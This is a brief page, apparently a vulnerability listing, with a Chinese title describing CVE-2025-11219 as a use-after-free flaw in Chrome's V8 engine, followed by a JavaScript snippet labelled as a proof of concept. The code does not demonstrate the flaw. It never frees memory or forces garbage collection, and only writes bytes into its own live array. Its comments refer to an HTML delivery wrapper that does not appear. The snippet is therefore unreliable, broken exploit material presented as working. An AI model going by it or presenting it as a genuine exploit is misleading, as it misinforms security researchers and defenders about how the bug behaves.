CVE-2025-11219 Google Chrome V8引擎释放后重用漏洞

// CVE-2025-11219 PoC - V8 Use-After-Free // This PoC demonstrates the UAF vulnerability pattern in V8 function triggerUAF() { // Create objects to manipulate heap layout const victim = new ArrayBuffer(1024); const attacker = new Uint8Array(1024); // Trigger garbage collection to free victim // In real attack, this would be done through specific V8 optimization patterns // Use-after-free: access freed memory through attacker reference // The exact exploitation requires specific V8 version and heap grooming for (let i = 0; i < attacker.length; i++) { attacker[i] = 0x41; // Write to potentially freed memory } return attacker; } // Trigger the vulnerability triggerUAF(); // Note: This is a conceptual PoC. Actual exploitation requires: // 1. Specific V8 version (pre-141.0.7390.54) // 2. Precise heap grooming techniques // 3. Understanding of V8's memory management // 4. Specific JavaScript patterns to trigger the UAF condition // HTML wrapper for delivery console.log('CVE-2025-11219 V8 UAF Trigger');